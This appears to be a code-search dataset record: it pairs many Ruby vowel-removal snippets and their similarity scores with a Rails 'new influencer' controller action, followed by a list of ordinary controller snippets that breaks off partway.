str.delete \"aeiouAEIOU\" }\nend", "def remove_vowels(array_of_words)\n array_of_words.map do |word|\n word.delete(\"aeiouAEIOU\")\n end\nend", "def remove_vowels(array)\n array.map do |word|\n word.gsub(/[aeiou]/i, '') # use gsub to pull out the vowels\n end\nend", "def remove_vowels(array)\n array.map { |string| string.delete(\"AEIOUaeiou\") }\nend", "def remove_vowels2(array_of_strings)\n vowels = 'aeiouAEIOU'\n array_of_strings.map do |string|\n string.delete(vowels)\n end\nend", "def remove_vowels(array)\n array.map { |string| string.delete(\"aeiouAEIOU\") }\nend", "def remove_vowels(arr)\n arr.map { |word| word.delete('aeiouAEIOU')}\nend", "def remove_vowels(array)\n array.map { |string| string.delete('aeiouAEIOU') }\nend", "def remove_vowels(arr)\n arr.each { |string| string.gsub!(/[aeiou]/i, \"\") }\nend", "def remove_vowels(arr)\n arr.map {|word| word.delete('AEIOUaeiou') }\nend", "def remove_vowels3(strings)\n strings.map { |string| string.delete('aeiouAEIOU') }\nend", "def remove_vowels(array)\n array.map do |elements|\n elements.delete('aeiouAEIOU')\n end\nend", "def remove_vowels(arr)\n arr.each do |string|\n string.gsub!(/[aeiou]/i, '')\n end\n arr\nend", "def remove_vowels(array)\n array.map do |element|\n element.delete(\"aeiouAEIOU\")\n end\nend", "def remove_vowels(array)\n array.map {|word| word.delete(\"aeiou\")}\nend", "def remove_vowels(array)\n array.map do |word|\n word.chars.reject { |letter| %w[a e i o u].include?(letter.downcase) }.join\n end\nend", "def remove_vowels(array)\n vowels = %w(a e i o u)\n array.map!(&:chars)\n array.map { |ary| ary.delete_if { |chr| vowels.include?(chr.downcase) } }\n array.map(&:join)\nend", "def remove_vowels(strings)\n strings.each_with_object([]) do |string, arr|\n arr.push(string.gsub(/[aeiou]/i, ''))\n end\nend", "def no_vowels(array)\n array.map { |word| word.gsub(/[aeiouAEIOU]/, '') }\nend", "def remove_vowels str\n reggie = /[aAeEiIoOuU]/\n holder_arr = str.split('')\n holder_arr.map! { |letter|\n if reggie.match letter\n letter = ''\n else \n letter\n end\n }\n holder_arr.join('')\nend", "def remove_vowels(arr)\n arr.map { |a| a.tr('aeiouAEIOU', '') }\nend", "def remove_vowels(arr)\n arr.map { |a| a.tr('aeiouAEIOU', '') }\nend", "def remove_vowels(arr)\n final_arr = []\n arr.each do |str|\n final_arr << str.gsub(/[aeiou]/i, '')\n end\n final_arr\nend", "def remove_vowels(array) #Works, but is very long, wordy and non-intuitive.\r\n vowels = [\"a\", \"A\", \"e\", \"E\", \"i\", \"I\", \"o\", \"O\", \"u\", \"U\"]\r\n new_array = []\r\n array.map do |string|\r\n sub_array = string.chars.select do |letter|\r\n letter unless vowels.include?(letter)\r\n end\r\n new_array << sub_array.join\r\n end\r\n new_array\r\nend", "def remove_vowels(array_of_strings)\n vowels = 'aeiou'\n consonant_array = array_of_strings.map do |string|\n string.chars.delete_if { |char| vowels.include?(char) }.join\n end\n consonant_array.join(' ')\nend", "def remove_vowels(str_arr)\n result = []\n str_arr.each do |string|\n result << string.chars.reject{|letter| letter =~ /[aeiou]/i }.join\n end\n result\nend", "def remove_vowels(strings)\n vowels = ['a', 'e', 'i', 'o', 'u']\n new_strings = []\n\n strings.each do |str|\n selected_chars = str.split('').delete_if { |char| vowels.include?(char) }\n new_strings << selected_chars.join('')\n end\n\n new_strings.join(', ')\nend", "def remove_vowels(str)\n vowels = %w(a e i o u)\n no_vowels_arr = []\n\n str.each do |word|\n new_str = ''\n word.chars.each do |letter|\n if vowels.include?(letter.downcase)\n next\n else\n new_str << letter\n end\n end\n no_vowels_arr << new_str \n end\n no_vowels_arr\nend", "def remove_vowels(string)\n string.delete('[aeiou]+[AEIOU]+')\nend", "def no_vowels(string)\n string.delete\"aeiouAEIOU\"\n# use the .delete accessor and include uppercase and lower case characters to be deleted\nend", "def remove_vowels(sentence)\n sentence.split.map{|word| word.delete\"aeiouyAEIOUY\"}.join(\" \")\nend", "def noVowels string\n # # Create a string that contains all the vowels\n # vowels = 'aeiou'\n # # Split the string into an array\n # strArray = string.split('')\n # # Use 'select' to only keep the characters that are not vowels\n # consonantArray = strArray.select { |value| !vowels.include?(value.downcase) }\n # # Join the array into a string\n # consonantsOnly = consonantArray.join('')\n\n #Use the delete method that checks lowercase vowels and uppercase vowels\n string.delete \"aeiouAEIOU\"\n # Implicity return a string with all the vowels removed with the line above\nend", "def remove_vowels string \n string.delete \"aeiouAEIOU\"\nend", "def remove_vowels(s)\n s.downcase.delete('aeiou')\nend", "def remove_vowels string\n string.delete 'aeiouAEIOU'\nend", "def remove_vowels string\n string.delete 'aeiouAEIOU'\nend", "def remove_vowels(str) # yellow\n vowel = \"aeiou\"\n removed = \"\"\n str.each_char do |char|\n unless vowel.include?(char)\n removed += char\n end\n end\n return removed\nend", "def remove_vowels string\n string.delete \"aeiouAEIOU\"\nend", "def elim_vowels(string)\r\n string.downcase.delete(\"aeiou\")\r\nend", "def strip_vowels(s)\n s.delete \"aeiouAEIOU\"\nend", "def remove_vowels str\n str.delete \"aeiouAEIOU\"\nend", "def vowel_remover string\n string.delete \"aeiouAEIOU\"\nend", "def no_vowels str\n # delete the vowels in the str if str has vowels a, e, i, o, u\n str.delete 'aeiouAEIOU'\nend", "def strip_vowels(str)\n str.delete \"aeiouAEIOU\"\nend", "def removeVowels(string)\n string.delete\"a\" \"e\" \"i\" \"o\" \"u\"\nend", "def no_vowels (str)\n str_array = str.split(' ')\n str_array.delete('a', 'e', 'i', 'o', 'u')\n return str_array.join(' ')\nend", "def devowel(str)\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\", \"A\", \"E\", \"I\",\"O\", \"U\"]\n\n vowels.each do |ele|\n str.delete!(ele)\n end\n str\nend", "def remove_vowels(s)\n vowels = /[aeiou]/i\n s.gsub!(vowels, '')\n s\nend", "def vowel_removed(string)\n string.delete('aeiouAEIOU')\nend", "def vowel_delete string\n string.downcase.delete('aeiou')\nend", "def vowels(arr)\n arr.each do |item|\n if item.tr!(\"aeiou\",\"\")\n end\n end\nend", "def vowel_removed string\n string.delete! \"aeiouAEIOU\"\n p string\nend", "def remove_vowels(string)\n vowels = ['a', 'e', 'i', 'o', 'u']\n final_string = \"\"\n vowels_used = \"\"\n string.gsub!(\" \", \"\")\n string.each_char do |letter|\n if !(vowels.include?(letter))\n final_string << letter\n else\n vowels_used << letter\n end\n end\n [final_string, vowels_used]\nend", "def delete_vowel(string)\n VOWELS.each do |letter|\n if string.match(letter)\n string.delete!(letter)\n end\n end\n string\nend", "def disemvowl(string)\n vowels = 'aeiou'\n string.each_char { |char|\n string.delete!(char) if vowels.include?(char.titleize)\n }\nend", "def delete_vowels(string)\n #Can't forget capitals!\n puts string.delete(\"a\").delete(\"e\").delete(\"i\").delete(\"o\").delete(\"u\").delete(\"A\").delete(\"E\").delete(\"I\").delete(\"O\").delete(\"U\")\nend", "def remove_vowels\n no_vowels = \"I have no vowels\"\n p no_vowels.delete('aeiou')\nend", "def vowel_killer\n\"Rubber Soul\".delete \"u\"\n\"Rbber Soul\".delete \"o\"\n\"Rbber Sul\".delete \"u\"\n\"Rbber Sl\".delete \"e\"\nend", "def no_vowels str\n p str.delete \"aeiouAEIOU\"\nend", "def vowel_delete(str)\n str.delete(\"aeiouAEIOU\")\nend", "def disemvowel(str)\n new_str = str.gsub(/[aeiouAEIOU]/, '') \n new_str\nend", "def delete_vowels(str)\n p str.delete('aeiou')\nend", "def vowel_cipher(string)\n change = {\n \"a\"=>\"e\",\n \"e\"=>\"i\",\n \"i\"=>\"o\",\n \"o\"=>\"u\",\n \"u\"=>\"a\"\n }\n vowels = \"aeiou\"\n\n new_arr = string.split(\"\").map do |char|\n if vowels.include?(char)\n change[char]\n else\n char\n end\n end\n\n return new_arr.join(\"\")\nend", "def vowel_checker(array)\n vowel_guide = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n array.map! do |name|\n name_split = name.split('')\n name_split.map! do |char|\n index = 0\n while index < vowel_guide.length\n if char == vowel_guide[index]\n char = vowel_guide[index += 1]\n index += 1\n elsif char == \"u\"\n char = \"a\"\n index += 1\n else\n char\n index += 1\n end\n char\n end\n char\n end\n name_split\n name_join = name_split.join('')\n name_join\n end\n array\nend", "def vowel_cipher(string)\n change = {\n \"a\"=>\"e\",\n \"e\"=>\"i\",\n \"i\"=> \"o\",\n \"o\" => \"u\",\n \"u\"=> \"a\"\n }\n\n vowels= \"aeiou\"\n\n new_arr = string.split(\"\").map do |char|\n if vowels.include?(char)\n change[char]\n else \n char \n end \n end \n return new_arr.join(\"\")\nend", "def cut_vowels string\n string.delete 'AEIOUaeiou'\nend", "def only_vowels (string)\n# set variable with string split\n string_arr = string.split('') \n# use .each_with_index method to iterate over index and return value\n string_arr.each_with_index do |value, index|\n# conditional if it includes vowels if it does return nothing\n if \"aeiouAEIOU\".include?(value)\n string_arr[index] = nil\n end\n end\n# use join method join arr into string\n new_string = string_arr.join\n# return string\n return new_string\nend", "def disemvowel(string)\n string.delete \"aeiouAEIOU\"\nend", "def disemvowel(string)\n no_vowel_string = string.gsub(/[aeiou]/, \"\")\n return no_vowel_string\nend", "def disemvowel(str)\n str.gsub(/[aeiouAEIOU]/,'')\nend", "def disemvowel(str)\n str.gsub /[aeiou]/i, ''\nend", "def vwl_rmv string\n # .downcase changes to lowercase, .delete! removes vowels\n string.downcase.delete!('aeiou')\nend", "def devowel(str)\n # your code goes here\n no_vowel_str = ''\n vowels = 'aeiou'\n str.downcase.each_char do |ch|\n if !vowels.include?(ch)\n no_vowel_str << ch\n end\n end\n no_vowel_str\nend", "def disemvowel(str)\n str.delete('aeiouAEIOU')\nend", "def remove_vowel(sentence)\n sentence.delete('aeiou')\nend", "def disemvowel(str)\n array = str.chars\n array.each_with_index do |char, i|\n if \"aeiouAEIOU\".include?(char)\n array[i] = nil\n end\n end\n\n new_string = array.join\n return new_string\nend", "def remove_vowel sentence\n sentence.delete 'aeiou'\nend", "def disemvowel(string)\n \n i = 0\n while i < string.length\n if string[i] == \"a\" || string[i] == \"e\" || (string[i] == \"i\") || (string[i] == \"o\") || (string[i] == \"u\")\n string[i] = \"\"\n else \n i += 1\n end\n \n end \n \n return string\nend", "def disemvowel(str)\n str = str.delete 'AEIOUaeiou'\nend", "def disemvowel(str)\n str.delete(\"aAeEiIoOuU\")\nend", "def disemvowel input\n vowels = 'aeiouAEIOU'\n # output = ''\n # input.split('').each do |char|\n # if !vowels.include?char\n # output += char\n # end\n # end\n # output\n # input.split('').delete_if {|char| vowels.include?char}\nend" ]
[ "0.8641376", "0.8540051", "0.8540051", "0.85351545", "0.8497217", "0.84227705", "0.8411659", "0.8399283", "0.838643", "0.83858603", "0.837722", "0.83602464", "0.8357461", "0.83537096", "0.83397967", "0.83214515", "0.8316907", "0.8313133", "0.830906", "0.8306005", "0.83025485", "0.82981724", "0.8294088", "0.8275492", "0.8274082", "0.825931", "0.8258612", "0.8254139", "0.8251684", "0.8249465", "0.8225958", "0.8224384", "0.8201611", "0.80882365", "0.80732435", "0.8018118", "0.8016811", "0.7992937", "0.7904855", "0.7896006", "0.7896006", "0.78701705", "0.7778001", "0.77424616", "0.7697114", "0.76089436", "0.74856204", "0.74671775", "0.7461564", "0.7444215", "0.7398573", "0.733879", "0.7338328", "0.73214453", "0.73214453", "0.73178184", "0.73011637", "0.7284749", "0.7283341", "0.7268147", "0.7259387", "0.7208512", "0.718649", "0.71737397", "0.71710116", "0.7154588", "0.7146916", "0.7132002", "0.71259046", "0.7094269", "0.70767987", "0.7073463", "0.70536774", "0.69858986", "0.69294", "0.68701833", "0.68680334", "0.6864509", "0.68618363", "0.68486506", "0.6822371", "0.6818703", "0.6773957", "0.6773922", "0.67455804", "0.67408854", "0.67306024", "0.6704949", "0.66838753", "0.6666801", "0.6632203", "0.65993434", "0.6590443", "0.6588675", "0.657261", "0.65526074", "0.65444064", "0.65324736", "0.65303826", "0.65302604" ]
0.8548237
1
params: value is 2element array value[0] is the filename value[1] is the binary string of the image
def decode_from_ui(value) Site::UploadUtils.uploadSingleFile value[0], Base64.decode64(value[1]) if value[1] value[0] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def pull_image(value)\n user_hash = pull_records(value)\n id = user_hash[0][\"id\"]\n image_name = user_hash[0][\"image\"]\n image = \"images/uploads/#{id}/#{image_name}\"\nend", "def image_file_name= value\n super if value.present?\n end", "def normalize_binary_values(params, field_name, values)\n params[field_name] = values.is_a?(::ActionDispatch::Http::UploadedFile) && values.read || nil\n end", "def image_file=(value)\n @image_file = value\n end", "def getValue(value)\n if value.start_with?('eval:')\n value = value.gsub('eval:', '')\n value = eval(value)\n elsif value.start_with?('uploadfile:')\n value = value.gsub('uploadfile:', '')\n value = eval(value)\n value = \"#{$ROOT}/../images/#{value}\"\n end\n value\n end", "def decode_image(f)\r\n base = File.basename f\r\n base = base.split('.')\r\n return base[0], base[1]\r\n end", "def bike_image=(file_data)\n @file_data = file_data\n end", "def blob(arg)\r\n file MojoMagick::tempfile(arg)\r\n end", "def value\n \"LOAD_FILE(\\\"#{@blob_file}\\\")\"\n end", "def test_02c\r\n db = ITestUtils.newdb\r\n nm = File.join(test_data,'image-1.jpg')\r\n r = db.store(nm,:name => 'image-1a.jpg')\r\n #puts %x{file #{r}}\r\n assert_equal 'image-1a.jpg',File.basename(r)\r\n end", "def configure_image(payload)\n debug self.uid\n binary = Base64.decode64(payload.value)\n info \"configure_image: value = #{binary}\"\n id = payload.requestId\n fir = FlashImagesRequest.new\n fir.nodeUrns = self.nodeUrns\n fir.image = binary\n req = Request.new\n req.requestId = id\n req.type = Request::Type::FLASH_IMAGES\n req.flashImagesRequest = fir\n self.store(id, req)\n EventBus.publish(Events::DOWN_FLASH_IMAGE, request: req)\n return nil\n end", "def image\n Pathname.new(\"#{PATH}#{self.path}\").open{|file|\n return Base64.strict_encode64(file.read)\n }\n end", "def get_base64_image(image)\n image_base64 = Base64.encode64(open(image) { |io| io.read })\n filter_image = image_base64.gsub(/\\r/,\"\").gsub(/\\n/,\"\")\n end", "def image; end", "def path_to_image(source, options = T.unsafe(nil)); end", "def decode_base64_string(filename, data)\n\n decoded_image = Base64.decode64(data)\n\nend", "def decode_base64_string(filename, data)\n\n decoded_image = Base64.decode64(data)\n\nend", "def decode_image(filename, data)\n\n data_index = data.index('base64') + 7\n filedata = data.slice(data_index, data.length)\n decoded_image = Base64.decode64(filedata)\n\n end", "def image(arg=nil)\n set_or_return(:image, arg, :kind_of => String)\n end", "def add_image(value)\n @children['image'][:value] << value\n end", "def profile_img=(user_params)\n self.imageName = base_part_of(user_params.original_filename)\n self.imageB64 = user_params.read\n end", "def pbResolveBitmap(x)\n return nil if !x\n noext=x.gsub(/\\.(bmp|png|gif|jpg|jpeg)$/,\"\")\n filename=nil\n# RTP.eachPathFor(x) {|path|\n# filename=pbTryString(path) if !filename\n# filename=pbTryString(path+\".gif\") if !filename\n# }\n RTP.eachPathFor(noext) {|path|\n filename=pbTryString(path+\".png\") if !filename\n filename=pbTryString(path+\".gif\") if !filename\n# filename=pbTryString(path+\".jpg\") if !filename\n# filename=pbTryString(path+\".jpeg\") if !filename\n# filename=pbTryString(path+\".bmp\") if !filename\n }\n return filename\nend", "def load_image(params)\n if params[:file]\n filnamn = params[:file][:filename].split(\".\")\n filnamn[0] = SecureRandom.hex(10)\n @filename = \"#{filnamn[0]}\" + \".\" + \"#{filnamn[1]}\"\n file = params[:file][:tempfile]\n File.open(\"./public/img/#{@filename}\", 'wb') do |f|\n f.write(file.read)\n end\n else\n @filename = nil\n end\n return @filename\n end", "def image_hash; end", "def file_to_base64 (photo)\n\t\tputs [photo].pack('m0')\n\t\t#Convierte de formato '/xFF' a Base64 para poder mostrar la foto en la vista\n\t\treturn [photo].pack('m0')\n\tend", "def load_image\n Magick::Image.from_blob(data).first\n end", "def image\n @path\n end", "def get_image_name(user_hash)\n image_name = user_hash[\"image\"][:filename]\nend", "def pbResolveBitmap(x)\n return nil if !x\n noext = x.gsub(/\\.(bmp|png|gif|jpg|jpeg)$/,\"\")\n filename = nil\n# RTP.eachPathFor(x) { |path|\n# filename = pbTryString(path) if !filename\n# filename = pbTryString(path+\".gif\") if !filename\n# }\n RTP.eachPathFor(noext) { |path|\n filename = pbTryString(path+\".png\") if !filename\n filename = pbTryString(path+\".gif\") if !filename\n# filename = pbTryString(path+\".jpg\") if !filename\n# filename = pbTryString(path+\".jpeg\") if !filename\n# filename = pbTryString(path+\".bmp\") if !filename\n }\n return filename\nend", "def image\n\n end", "def binary\n @ffmpegthumbnailer.nil? ? 'ffmpegthumbnailer' : @ffmpegthumbnailer\n end", "def picdata\n object.imgdata\n end", "def blob(val)\n val.gsub(/[\\000-\\037\\047\\134\\177-\\377]/) do |b|\n \"\\\\#{ b[0].to_s(8).rjust(3, '0') }\"\n end\n end", "def bc_image(bcrumb, val, file1, file2)\n bcrumb >= val ? file1 : file2 \n end", "def image_file\n return @image_file\n end", "def blob; end", "def blob; end", "def img_file\n return \"map_\" + symbol.to_s + \"_full\"\n end", "def image\n end", "def image\n end", "def file_name\n \"images/#{@name}.msf\"\n end", "def image_name\n ovf.xpath(\"//*[local-name()='References']/*[local-name()='File']\")[0].attribute(\"href\").value\n end", "def encoded_contents(image_path)\n Base64.encode64(File.read(image_path)).gsub(/\\n/, '')\n end", "def image\n @args['Image']\n end", "def process\n format = directives.fetch(:format, 'jpg')\n encode_file(format, directives)\n end", "def image=(string)\n binding.pry\n o = Base64.decode64 string\n self.path = self.path||(SecureRandom.hex(20)+\".jpg\")\n File.open(\"#{PATH}#{self.path}\", \"w+\"){|file|\n file.write(string)\n }\n end", "def parse_image_data(image_data)\n @tempfile = Tempfile.new('item_image')\n @tempfile.binmode\n @tempfile.write Base64.decode64(image_data[:content])\n @tempfile.rewind\n\n uploaded_file = ActionDispatch::Http::UploadedFile.new(\n tempfile: @tempfile,\n filename: image_data[:filename]\n )\n\n uploaded_file.content_type = image_data[:content_type]\n uploaded_file\n end", "def get_image\n source_file = Item.new(Path.new(params[:source]+\".\"+params[:type]))\n begin\n send_file source_file.path, :filename => source_file.path.basename.to_s, :type => \"image/#{params[:type]}\"\n rescue \n not_found\n end\n end", "def set_ImageType(value)\n set_input(\"ImageType\", value)\n end", "def set_ImageType(value)\n set_input(\"ImageType\", value)\n end", "def profile_image=(file_data)\n @file_data = file_data\n end", "def image\n end", "def image\n end", "def swfupload_file=(data)\r\n data.content_type = MIME::Types.type_for(data.original_filename).to_s if data\r\n self.image = data\r\n end", "def type_literal_generic_file(column)\n :image\n end", "def readimage(path)\n # Feel free to make a pull request if you catch a mistake\n # or you have an idea to improve it.\n data = Fiddle::Pointer.malloc(Fiddle::SIZEOF_INTPTR_T, Fiddle::RUBY_FREE)\n w, h = inquiry [:int, :int] do |width, height|\n # data is a pointer of a pointer\n super(path, width, height, data.ref)\n end\n d = data.to_str(w * h * Fiddle::SIZEOF_INT).unpack('L*') # UInt32\n [w, h, d]\n end", "def update_imagem(foto_64)\n foto_64 = \"data:image/jpeg;base64,#{foto_64}\"\n if foto_64 != \"\" && foto_64 != nil\n base_64_encoded_data = foto_64\n string_img = Base64.decode64(base_64_encoded_data['data:image/png;base64,'.length .. -1])\n File.open(\"#{Rails.root}/tmp/motorista2.jpg\", \"wb\") do |file| \n file.write(string_img)\n file.size\n self.imagem = file\n end\n end\n end", "def to_s\n image\n end", "def encode_picture(file,output)\n enc = Base64.encode64(File.open(file,'rb'){|io| io.read})\n File.open(Rails.public_path.to_s + '/images/'+ output,'w') do |f|\n enc.gsub!(\"\\n\",'')\n f.write enc\n end\nend", "def file_get fnum\n\t\tds = Sdb[:file_info].filter(:fnum => fnum)\n\t\tunless ds.empty?\n\t\t\tsend_file Spath[:upload_dir] + ds.get(:path).to_s, :type => ds.get(:type).split('/').last.to_sym\n\t\telse\n\t\t\tmodule_name = \"view\"\n\t\t\tpath = \"#{Smods[module_name]}#{Spath[:assets]}images/default.jpg\"\n\t\t\tsend_file path, :type => :jpeg\n\t\tend\n\tend", "def image= value\n self.image_custom = value\n write_attribute :image_custom, value\n end", "def decode_image(data)\r\n\r\n data_index = data.index('base64') + 7\r\n filedata = data.slice(data_index, data.length)\r\n decoded_image = Base64.decode64(filedata)\r\n\r\n end", "def image_type\n ImageScience.fif_to_string(@file_type)\n end", "def load_image(path)\n end", "def blob\n @blob ||= image.to_blob\n end", "def image _args\n \"image _args;\" \n end", "def encoded_picture\n \"data:image/#{self.extension};base64,#{File.open('public/images/' + self.picture,'rb').read}\"\n end", "def image_string_creator\r\n n = []\r\n n << \"src:\".ljust(TO_S_SIZE) + self.src.to_s\r\n n << \"file date:\".ljust(TO_S_SIZE) + self.fileCreatedDate.to_s\r\n n << \"file size:\".ljust(TO_S_SIZE) + self.fileSize.to_s\r\n n << \"width:\".ljust(TO_S_SIZE) + self.width.to_s\r\n n << \"height:\".ljust(TO_S_SIZE) + self.height.to_s\r\n n << \"alt:\".ljust(TO_S_SIZE) + self.alt.to_s\r\n return n\r\n end", "def to_jpg\n load_image\n end", "def file_name\n potential_name = params[:filename] || file.original_name || (asset.respond_to?(:label) && asset.label) || file.id\n potential_name = potential_name.gsub(/[,;]/, '')\n potential_extension = ''\n if file.mime_type == 'image/png'\n potential_extension = '.png'\n elsif file.mime_type == 'image/tiff'\n potential_extension = '.png'\n elsif file.mime_type == 'image/jpeg' || file.mime_type == 'image/jpg'\n potential_extension = '.jpg'\n end\n return potential_name\n #return potential_name + potential_extension\n end", "def image_upload_input(f, params, current_instance, name = 'primary_image', required = false)\n image_input = f.input name.to_sym, as: :file, required: required\n main = image_input + image_preview(current_instance, name)\n main\n end", "def image_upload_input(f, params, current_instance, name = 'primary_image', required = false)\n image_input = f.input name.to_sym, as: :file, required: required\n main = image_input + image_preview(current_instance, name)\n main\n end", "def image_path(source, options = T.unsafe(nil)); end", "def image=(file_data)\n unless file_data.blank?\n @file_data = file_data\n self.extension = file_data.original_filename.split('.').last.downcase\n end\n end", "def stream_image(headers, index, is_retina)\n image_option = selected_image_at_index index.to_i\n return nil if image_option.nil?\n\n image_file_name = \"#{image_option['path']}\"\n image_file_name.gsub! /\\.png/i, '@2x.png' if (is_retina.to_i >= 1)\n image_file_path = \"#{@assets_path}/images/#{image_file_name}\"\n\n read_file headers, image_file_path, 'image/png'\n end", "def images; end", "def image_names(arr)\narr.map{|x|case when x[0]==\"H\" then \"hearts_\"+x[1..2]+\".jpg\"\nwhen x[0]==\"S\" then \"spades_\"+x[1..2]+\".jpg\"\nwhen x[0]==\"C\" then \"clubs_\"+x[1..2]+\".jpg\"\nwhen x[0]==\"D\" then \"diamonds_\"+x[1..2]+\".jpg\"\nend}\nend", "def generate_images\n Docsplit.extract_images(@files.to_s)\n end", "def image=(file_data)\n unless file_data.blank?\n # assign uploaded data to instance variable\n @file_data = file_data\n # assign image type (extension) to self.image_type\n self.image_type = file_data.original_filename.split('.').last.downcase\n end \n end", "def create_image_files_where_needed()\n @file_info.data.each do |line|\n uri, filename = line\n process_file_info(uri, filename)\n end\n end", "def img_params\n\n end", "def find_blob_data(sha, path)\n commit = barerepo.lookup sha\n tree = barerepo.lookup commit.tree_id\n blob = tree.path path\n blobdata = barerepo.read(blob[:oid]).data\n image = {\n name: blob[:name],\n data: blobdata\n }\n [image , commit]\n end", "def parse_image_data(image_data)\n @tempfile = Tempfile.new('item_image')\n @tempfile.binmode\n @tempfile.write Base64.decode64(image_data[:content])\n @tempfile.rewind\n\n uploaded_file = ActionDispatch::Http::UploadedFile.new(\n tempfile: @tempfile,\n filename: image_data[:filename]\n )\n\n uploaded_file.content_type = image_data[:content_type]\n uploaded_file\n end", "def exportImage(options={})\n if self.datatype.name!=\"image\"\n raise \"instancevalue has wrong data type\"\n end\n if self.data_binary.blank?\n raise \"no image data found\"\n end\n localOptions={:withColorPalette=>false}\n localOptions.merge!(options)\n imageBlob=trimBlob(self.data_binary)\n begin\n myImage=Magick::Image.from_blob(imageBlob)[0]\n rescue Magick::ImageMagickError\n raise \"instancevalue contains invalid image data\"\n end\n case localOptions[:exportFormat]\n when '1'\n exportFormat='BMP'\n when '2'\n exportFormat='TIF'\n when '3'\n exportFormat='JPG'\n when '4'\n exportFormat='PNG'\n when '5'\n exportFormat='GIF'\n when '6'\n exportFormat='TXT'\n else\n exportFormat='PNG'\n end\n if localOptions[:withColorPalette]\n paletteImg=Magick::Image.read(Rails.root.to_s+\"/app/assets/images/Rainbow.png\")\n myImage=myImage.clut_channel(paletteImg[0])\n end\n sendImage=myImage.to_blob { self.format=exportFormat }\n instanceName=self.instancevalueset.instance.name\n shotNr=self.instancevalueset.shot_id\n fileName=instanceName+'_'+shotNr.to_s+'.'+exportFormat.downcase\n return {:content=>sendImage, :format=>'image/'+exportFormat, :filename=>fileName}\n end", "def remove_image(value)\n @children['image'][:value].delete(value)\n end", "def file_field; end", "def filename=( value )\n\t\t\t@filename = value\n\t\t\t@idstring = File.basename( File.dirname( filename ) )[0..7]\n\t\tend", "def parsed_image_file_name\n return nil if item_code_name.nil?\n item_code_name.split(' || ').last\n end", "def to_jpg(*a)\n to_blob('jpg', *a)\n end", "def image=(file_data)\n unless file_data.blank?\n # assign uploaded data to instance variable\n @file_data = file_data\n # assign image type (extension) to self.profile_image\n self.profile_image = file_data.original_filename.split('.').last.downcase\n end \n end", "def image_file_name\n if job.images_for_jobs.first.is_splitted_image == true\n job.images_for_jobs.first.exact_file_name rescue nil\n else\n job.images_for_jobs.first.filename rescue nil\n end\n end", "def encode(bmp_file, file_name)\n load_files(bmp_file, file_name) \n \n i = 0 \n encoded_image_array = @image_array.bytes.map do |byte|\n if i < @text.size\n if @text[i] == '1' \n byte |= 1 << 0 \n elsif @text[i] == '0'\n byte &= ~(1 << 0)\n end\n i += 1 \n else\n byte &= ~(1 << 0)\n end \n byte\n end \n \n File.open(\"output.bmp\", \"w\") do |f|\n f.write create_image(encoded_image_array.pack('C*').force_encoding('utf-8'))\n end\n \n end", "def image_path\n \"#{PATH}/#{image_filename}\"\n end", "def image\n return @children['image'][:value]\n end", "def set_FileName(value)\n set_input(\"FileName\", value)\n end", "def set_FileName1(value)\n set_input(\"FileName1\", value)\n end", "def image(file)\n entry = @defn[@latest.name]\n endian = @vm.bigendian ? \"be\" : \"le\"\n init_user(entry)\n File.open(file, 'w') do |f|\n f.puts \"// vmimage #{endian}#{@vm.databits}\"\n @vm.dump(0, @vm.dot, true) do |s|\n f.puts s\n end\n end\n end", "def set name, value, match_image, flags, gtype, destructive\n if gtype == IMAGE_TYPE\n value = Operation.imageize match_image, value\n\n # in non-destructive mode, make sure we have a unique copy\n if (flags & ARGUMENT_MODIFY) != 0 &&\n !destructive\n value = value.copy.copy_memory\n end\n elsif gtype == ARRAY_IMAGE_TYPE\n value = value.map { |x| Operation.imageize match_image, x }\n end\n\n super name, value\n end", "def image\n 0\n end", "def fileLabelPairs\n images.map{ |image| { \"url\" => File.basename(image.url), \"label\" => image.most_likely_label_text } }\n end" ]
[ "0.6048974", "0.6048543", "0.60445374", "0.60431546", "0.5994502", "0.59274113", "0.5860368", "0.58447707", "0.5836948", "0.5803834", "0.57718784", "0.5732084", "0.5726559", "0.5687376", "0.56796515", "0.567506", "0.567506", "0.5645373", "0.563582", "0.56187284", "0.56068695", "0.55962044", "0.5595907", "0.55866045", "0.5562141", "0.5553338", "0.554096", "0.55332637", "0.5515634", "0.54893595", "0.5478419", "0.5474806", "0.5474551", "0.54742336", "0.54731756", "0.5466086", "0.5466086", "0.54587", "0.54562795", "0.54562795", "0.54473096", "0.5440472", "0.5436959", "0.54334354", "0.54242885", "0.5422129", "0.5419403", "0.54127234", "0.5409795", "0.5409795", "0.540821", "0.5405719", "0.5405719", "0.54051256", "0.540186", "0.5396459", "0.53893936", "0.5384609", "0.5383424", "0.5376732", "0.5376646", "0.5375484", "0.5369601", "0.53606147", "0.5337562", "0.5334121", "0.53276414", "0.5327381", "0.53050524", "0.53041995", "0.5294911", "0.5294911", "0.52726746", "0.52698296", "0.5250469", "0.52495396", "0.524721", "0.5246192", "0.5230687", "0.5228219", "0.5218831", "0.52149993", "0.5202108", "0.52002335", "0.51980364", "0.51945996", "0.5188535", "0.5184481", "0.51822466", "0.5172395", "0.5172258", "0.5171498", "0.5166731", "0.5161342", "0.5160485", "0.51580215", "0.5152454", "0.51429176", "0.51383704", "0.51379704" ]
0.5928575
5
Shows the form to create a new influencer
def new @user = User.new @user.role = 'influencer' @user.build_influencer @referrer = User.where(:id => session[:referrer_id]).first if session[:referrer_id] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @influencer = Influencer.new(influencer_params)\n respond_to do |format|\n if @influencer.save\n format.html { redirect_to @influencer, notice: 'Influencer was successfully created.' }\n format.json { render :show, status: :created, location: @influencer }\n else\n format.html { render :new }\n format.json { render json: @influencer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @speaker = active_conference.speakers.build\n\n respond_to do |format|\n format.html { render layout: 'admin' }\n format.json { render json: @speaker }\n end\n end", "def new\n @estudio = Estudio.new\n\n respond_to do |format|\n format.js {render :form}\n end\n end", "def new\n @showcase = Showcase.new\n @button_text = 'Create'\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @showcase }\n end\n end", "def new\n @ticker = Ticker.new\n render :layout => false\n end", "def new\n @title = 'Add Trainer'\n @trainer = Trainer.new\n end", "def new\n @page_title = \"New Ingredeient\"\n @ingredient = Ingredient.new\n @btnText = \"Add Ingredient\"\n @obj = @ingredient\n render 'shared/form'\n end", "def new\n @auditorium = @theatre.auditoria.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: 